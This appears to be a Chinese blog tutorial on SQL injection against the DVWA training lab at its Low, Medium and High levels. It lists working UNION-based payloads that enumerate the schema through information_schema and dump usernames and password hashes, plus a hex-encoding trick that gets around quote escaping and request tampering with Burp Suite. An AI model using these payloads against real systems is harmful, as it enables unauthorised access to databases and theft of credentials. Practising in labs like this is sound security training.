DVWA下的SQL注入

DVWA下的SQL注入
1 Low级别


(1)判断是否存在注入,注入是字符型还是数字型
首先,我们输入1测试一下:


然后输入一个2-1,如果结果和输入1的结果一样,则是数字型;如果结果不一样,则是字符型。


【注】输入1’and ‘1’ =’1时,查询语句中id后面的都为真,显示的只有一组;输入1’or ‘1 ’=’1时,查询语句中where后面都为真,显示所有的组。




(2)查询字段数
方法1:用order by语句
1’order by 1#:(#注释符,注释掉后面的内容)
2’order by 2#
3’order by 3#
如果3报错,则是2个字段






方法2:用union select语句
输入1’union select 1,2#




当输入1'union select 1,2,3#时,会出现错误。
(3)获取数据库名和用户名
1’union select database(),user()#




有时候,后面的select语句会限制输出的行数,一般会让原数据库查询无效,也就是输入无效的id,使得原数据库查询不返回结果,则要使用如下操作:
-1’union select database(),user()#:只会返回我们需要的数据
-1’ union select version(),@@version_compile_os#:获取当前数据库版本和操作系统。
[注]:id=-1这个-1表示执行时,前面是无效代码,只执行后面select database(),user()
(4)获取数据库中的表
在information_schema里,有一个表是tables(存放数据库中所有表的信息),另一个是columns。tables中有个字段叫table_name(表名),有一个叫table_schema(表示这个表所在的数据库);columns中有table_schema,column_name,table_name。
-1’union select table_name,2 from information_schema.tables where table_schema=’dvwa’#
[注]:-1是无效代码,不执行,执行后面的语句,union要前后两个字段数相同,因为之前测出来是2个字段,所以union后面也必须两个字段。


爆出来两个表,选users这个继续进行
-1’ union select column_name,2 from information_schema.columns where table_schema=’dvwa’ and table_name=’users’#


继续对user和password进行注入:
-1’ union select user,password from users#


密码是MD5的,需要解密


2 Medium级别






使用虚拟机的的ip
http://虚拟机ip/DVWA-master/login.php
相同的用户名(admin)和密码(password)登陆。
这次使用burpsuite抓包工具




点击next-Options-Proxy Listeners-Add-Binding,输入如下:


然后打开如下:


修改浏览器的代理配置:Preferences-Advanced-Network-Connection-Settings,改为如下:


点击浏览器中的Submit:


在burp suite中抓到的包如下:


可以修改最后一行,id的内容。


(1)id修改为2-1修改完后Forward,就执行了,然后浏览器就变为


说明是数字型的。
(2)id修改为1 order by 1#  
1 order by 2#
1 order by 3# 3是报错的




或者抓包改id:1 union select 1,2#


(3)抓包改id获取数据库名和用户名:
1 union select database(),user() #


(4)抓包改id获取数据库中的表:
-1 union select table_name,2 from information_schema.tables where table_schema=’dvwa’#
这个输入到id时会出错,显示单引号出问题,因为单引号被转义了,所以要写成下面:
-1union select table_name,2 from information_schema.tables where table_schema=database()#


因为单引号转义,所以要把users改为16进制的0×7573657273
-1 union select column_name,2 from information_schema.columns where table_name=0x7573657273#


【注】:如何改为16进制呢?
继续使用burp suite工具: 打开后选择Decoder




(5)对user,password进行注入
-1 union select user,password from users#


3 High级别


High级别在SQL查询语句中添加了LIMIT 1,希望可以控制只输出一个结果。
High级别注入时和Low一样,只是给语句后面加上#,将其注释掉。
例如:1#




4 Impossible级别

































 
  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值